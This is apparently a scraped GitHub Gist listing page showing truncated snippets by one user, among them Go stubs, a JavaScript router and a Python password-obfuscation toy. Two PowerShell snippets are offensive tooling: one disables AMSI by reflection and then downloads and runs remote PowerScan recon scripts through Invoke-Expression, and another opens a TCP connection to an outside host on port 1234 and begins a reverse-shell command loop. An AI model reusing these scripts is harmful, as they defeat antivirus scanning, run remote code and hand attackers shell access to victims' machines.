Skip to content

Instantly share code, notes, and snippets.

package main
import (
"encoding/json"
"fmt"
"os"
"flag"
)
func main() {
@Serizao
Serizao / uplaod.go
Last active May 1, 2024 17:14
Scealway upload to s3
package main
import (
"bytes"
"io"
"io/ioutil"
// "net/http"
"os"
"io/fs"
"path/filepath"
@Serizao
Serizao / ImportTools.ps1
Last active April 5, 2022 12:59
Get-Tim0-Tools.ps1
[Ref].Assembly.GetType('System.Management.Automation.Amsi'+'Utils').GetField('amsiInit'+'Failed','NonPublic,Static').SetValue($null,$true)
echo "Bypass AMSI : OK"
Invoke-Expression (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/tmenochet/PowerScan/master/PowerScan.ps1')
echo "Import PowerScan : OK"
# PowerScan Recon modules
Invoke-Expression (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/tmenochet/PowerScan/master/Recon/Get-SpoolerStatus.ps1')
Invoke-Expression (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/tmenochet/PowerScan/master/Recon/Get-SecurityServices.ps1')
@Serizao
Serizao / router.html
Last active December 2, 2020 12:01
little JS router
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width">
<title>JS Bin</title>
</head>
<body>
<button onclick="window.location.hash='/titi'">123</button>
<div id="main"> <a class='route' data-href='/toto'>123</a></div>
$socket = new-object System.Net.Sockets.TcpClient('recon.wleberre.fr', 1234);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do{
$writer.Write("> ");
$writer.Flush();
$read = $null;
import string
import random
password = "superPassword"
compteur = 0
passMem = random.sample(range(1,300), len(password)) # tiirage au sort de manière unique
multiPass = dict()
for i in range(300):
multiPass[i] = random.choice(string.ascii_letters)
for j in password:
multiPass[passMem[compteur]] = password[compteur]